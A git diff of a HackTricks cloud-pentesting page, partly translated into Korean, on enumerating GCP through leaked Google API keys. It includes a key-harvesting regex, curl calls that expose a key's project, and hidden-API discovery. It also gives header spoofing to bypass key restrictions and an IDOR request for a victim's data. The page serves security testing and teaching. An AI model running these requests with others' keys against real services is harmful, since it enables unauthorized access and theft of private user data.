mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 14:47:17 -07:00
Translated ['', 'src/pentesting-cloud/gcp-security/gcp-unauthenticated-e
This commit is contained in:
+104
-13
@@ -4,27 +4,27 @@
|
||||
|
||||
## API Keys
|
||||
|
||||
API 키에 대한 자세한 정보는 다음을 확인하세요:
|
||||
API Keys에 대한 자세한 내용은 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-api-keys-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### OSINT 기술
|
||||
### OSINT techniques
|
||||
|
||||
**Google API 키는 클라이언트 측에서 사용하는 모든 종류의 애플리케이션에서 널리 사용됩니다.** 웹사이트 소스 코드나 네트워크 요청, 모바일 애플리케이션에서 찾거나 Github와 같은 플랫폼에서 정규 표현식을 검색하는 것이 일반적입니다.
|
||||
**Google API Keys are widely used by any kind of applications** that uses from the client side. 웹사이트 source code나 network requests에서 찾는 경우가 흔하고, mobile applications 안이나 Github 같은 플랫폼에서 regex를 검색해 찾기도 합니다.
|
||||
|
||||
정규 표현식은: **`AIza[0-9A-Za-z_-]{35}`**
|
||||
regex는 다음과 같습니다: **`AIza[0-9A-Za-z_-]{35}`**
|
||||
|
||||
예를 들어 Github에서 다음과 같이 검색하세요: [https://github.com/search?q=%2FAIza%5B0-9A-Za-z\_-%5D%7B35%7D%2F\&type=code\&ref=advsearch](https://github.com/search?q=%2FAIza%5B0-9A-Za-z_-%5D%7B35%7D%2F&type=code&ref=advsearch)
|
||||
예를 들어 Github에서 다음 링크로 검색할 수 있습니다: [https://github.com/search?q=%2FAIza%5B0-9A-Za-z\_-%5D%7B35%7D%2F\&type=code\&ref=advsearch](https://github.com/search?q=%2FAIza%5B0-9A-Za-z_-%5D%7B35%7D%2F&type=code&ref=advsearch)
|
||||
|
||||
### 원본 GCP 프로젝트 확인
|
||||
### Check origin GCP project
|
||||
|
||||
이는 **발견한 API 키가 어떤 GCP 프로젝트에 속하는지 확인하는 데 매우 유용합니다.** 다양한 옵션이 있습니다:
|
||||
이것은 **찾은 API key가 어느 GCP project에 속하는지** 확인하는 데 매우 유용합니다. 사용할 수 있는 옵션은 여러 가지가 있습니다:
|
||||
|
||||
- `https://www.googleapis.com/identitytoolkit/v3/relyingparty/getProjectConfig?key=<api-key>`에 연락하세요.
|
||||
- Contact `https://www.googleapis.com/identitytoolkit/v3/relyingparty/getProjectConfig?key=<api-key>`
|
||||
|
||||
간결함을 위해 출력이 생략되었지만, 전체 출력에서는 프로젝트 ID가 5회 이상 나타납니다.
|
||||
간결함을 위해 출력은 잘렸지만, 전체 출력에서는 project ID가 5번 이상 나타납니다
|
||||
```bash
|
||||
curl -s "https://www.googleapis.com/identitytoolkit/v3/relyingparty/getProjectConfig?key=AIzaSyD[...]uE8Y"
|
||||
|
||||
@@ -34,9 +34,9 @@ curl -s "https://www.googleapis.com/identitytoolkit/v3/relyingparty/getProjectCo
|
||||
"message": "Identity Toolkit API has not been used in project 943955951114 before or it is disabled. Enable it by visiting https://console.developers.google.com/apis/api/identitytoolkit.googleapis.com/overview?project=943955951114 then retry. If you enabled this API recently, wait a few minutes for the action to propagate to our systems and retry.",
|
||||
[...]
|
||||
```
|
||||
- Contact `https://www.googleapis.com/identitytoolkit/v3/relyingparty/getProjectConfig?key=<api-key>`
|
||||
- Contact `https://identitytoolkit.googleapis.com/v1/projects?key=<api-key>`
|
||||
|
||||
간결함을 위해 출력이 잘렸지만, 전체 출력에서 프로젝트 ID가 5회 이상 나타납니다.
|
||||
간결함을 위해 출력이 잘렸지만, 전체 출력에서는 project ID가 5번 이상 나타납니다
|
||||
```bash
|
||||
curl -s "https://identitytoolkit.googleapis.com/v1/projects?key=AIzaSyD[...]uE8Y"
|
||||
|
||||
@@ -69,8 +69,99 @@ resource: projects/89123452509
|
||||
service: cloudresourcemanager.googleapis.com
|
||||
reason: AUTH_PERMISSION_DENIED
|
||||
```
|
||||
### Brute Force API endspoints
|
||||
### Discovery-document driven API recon
|
||||
|
||||
프로젝트에서 어떤 API가 활성화되어 있는지 모를 수 있으므로, 도구 [https://github.com/ozguralp/gmapsapiscanner](https://github.com/ozguralp/gmapsapiscanner)를 실행하고 **API 키로 무엇에 접근할 수 있는지 확인하는 것이 흥미로울 것입니다.**
|
||||
유효한 key를 확보했다면, 눈에 띄는 public API만 테스트하지 마세요. Google 환경에서는 **discovery documents**가 **resources, methods, paths, HTTP verbs, parameters, request/response schemas**를 노출하는 machine-readable attack-surface map으로 작동할 수 있습니다.
|
||||
|
||||
유용한 대상:
|
||||
```bash
|
||||
# Public / common path
|
||||
curl -s 'https://serviceusage.googleapis.com/$discovery/rest?key=<api-key>'
|
||||
|
||||
# Hidden docs behind a visibility label
|
||||
curl -s 'https://serviceusage.googleapis.com/$discovery/rest?labels=GOOGLE_INTERNAL&key=<api-key>'
|
||||
```
|
||||
Notes:
|
||||
|
||||
- `GOOGLE_INTERNAL` 같은 label이 있을 때와 없을 때의 document size와 method count를 비교하세요.
|
||||
- **true nonexistent method**는 보통 **HTML 404**를 반환합니다. `Method not found.`가 포함된 **JSON 404**는 method가 존재하지만 **API key project가 필요한 visibility label이 없다는 것**을 의미할 수 있습니다.
|
||||
- 일부 first-party APIs는 public API explorer보다 `*.clients6.google.com` 또는 문서화되지 않은 `*-pa.googleapis.com` hosts를 통해 더 쉽게 접근할 수 있습니다.
|
||||
|
||||
이것은 특히 **Internet에 실수로 노출된 internal/admin APIs를 enumerate**하고, JSON fields를 수동으로 추측하는 대신 schema에서 custom fuzzers를 만드는 데 매우 유용합니다.
|
||||
|
||||
### Key ownership filtering at scale
|
||||
|
||||
APK, browser traffic, IPA 또는 binaries에서 많은 Google API keys를 수집했다면, 빠르게 **각 key를 어떤 project가 소유하는지**와 그것이 target company에 속하는지 식별하고 싶을 수 있습니다.
|
||||
|
||||
실용적인 trick은 key에 대해 **enabled되지 않은** API를 의도적으로 호출하는 것입니다. Google은 error에 backing **project number**를 자주 leak합니다:
|
||||
```bash
|
||||
curl -s 'https://protos.googleapis.com/$discovery/rest?key=<api-key>'
|
||||
```
|
||||
다음과 같은 메시지를 찾아보세요:
|
||||
```text
|
||||
Protos API has not been used in project 244648151629 before or it is disabled
|
||||
```
|
||||
그 프로젝트 번호는 이후 다른 endpoints, leaked metadata, 또는 내부 company-mapping logic와 연관시켜 **in-scope first-party keys**를 customer / third-party projects와 구분하는 데 사용할 수 있습니다.
|
||||
|
||||
### key를 버리기 전에 key restrictions를 처리하세요
|
||||
|
||||
restricted key가 반드시 쓸모없는 것은 아닙니다. key가 발견된 context를 보존하고, 일치하는 headers로 requests를 다시 실행하세요:
|
||||
```bash
|
||||
# Browser restricted
|
||||
curl -H 'X-Goog-Api-Key: <api-key>' \
|
||||
-H 'Referer: https://target.google.com' \
|
||||
'https://servicemanagement.googleapis.com/v1/operations'
|
||||
|
||||
# iOS restricted
|
||||
curl -H 'X-Goog-Api-Key: <api-key>' \
|
||||
-H 'X-Ios-Bundle-Identifier: com.google.GoogleMobile' \
|
||||
'https://servicemanagement.clients6.google.com/v1/operations'
|
||||
|
||||
# Android restricted
|
||||
curl -H 'X-Goog-Api-Key: <api-key>' \
|
||||
-H 'X-Android-Package: com.google.android.settings.intelligence' \
|
||||
-H 'X-Android-Cert: <sha1-signing-cert>' \
|
||||
'https://servicemanagement.clients6.google.com/v1/operations'
|
||||
```
|
||||
Common restriction classes:
|
||||
|
||||
- **HTTP Referer**
|
||||
- **iOS bundle ID** (`X-Ios-Bundle-Identifier`)
|
||||
- **Android package + signing cert** (`X-Android-Package` + `X-Android-Cert`)
|
||||
- **Server IP** restrictions, which generally cannot be bypassed remotely
|
||||
|
||||
### First-party auth / origin whitelist hints
|
||||
|
||||
Some Google web APIs accept a mix of **session cookie + first-party authorization headers** and are hosted on `*.clients6.google.com`. When testing these APIs:
|
||||
|
||||
- Keep `Origin` and `Referer` compatible with the product that normally uses the API.
|
||||
- A `401` with `reason: SESSION_COOKIE_INVALID` can actually mean the **origin is not whitelisted**, not that the cookie is bad.
|
||||
- Publicly reachable APIs that only accept internal origins such as `*.corp.google.com` are high-value candidates for broken access control review.
|
||||
|
||||
### Brute force enabled APIs and fuzz documented methods
|
||||
|
||||
As you might not know which APIs are enabled in the project, it would be interesting to run the tool [https://github.com/ozguralp/gmapsapiscanner](https://github.com/ozguralp/gmapsapiscanner) and check **what you can access with the API key.**
|
||||
|
||||
After you identify reachable services, prefer **schema-driven fuzzing** over blind guessing:
|
||||
|
||||
- Generate requests directly from discovery docs
|
||||
- Replay the same request with **all known working keys**
|
||||
- Normalize errors so you can distinguish **invalid input** from **visibility-label / auth / restriction** failures
|
||||
- For numeric object identifiers, try nearby values such as `ID-1`, `ID+1`, `1`, `2`, `100`, `1000`
|
||||
- Only report when you confirm **cross-user data access** or another real authorization failure; plain enumeration is usually not enough by itself
|
||||
|
||||
### Common vuln pattern: unauthenticated direct-object reference
|
||||
|
||||
A recurring bug pattern is an **internal/admin API** that accepts a victim-controlled identifier (for example `gaiaId`) and only validates that the request carries a usable API key, but **never checks whether the caller is authorized to access that specific object**.
|
||||
```bash
|
||||
curl 'https://gfibervoice-pa.googleapis.com/v1/BssGetVoiceSettings?gaiaId=<victim_gaia_id>' \
|
||||
-H 'X-Goog-Api-Key: <api-key>'
|
||||
```
|
||||
If the endpoint returns another user's phone number, email address, settings, or other private fields, treat it as a classic **IDOR / broken access control** issue.
|
||||
|
||||
## References
|
||||
|
||||
- [Hacking Google with AI: AI-Assisted Discovery-Document Fuzzing of Google APIs](https://brutecat.com/articles/hacking-google-with-ai)
|
||||
- [Google APIs Explorer](https://developers.google.com/apis-explorer)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user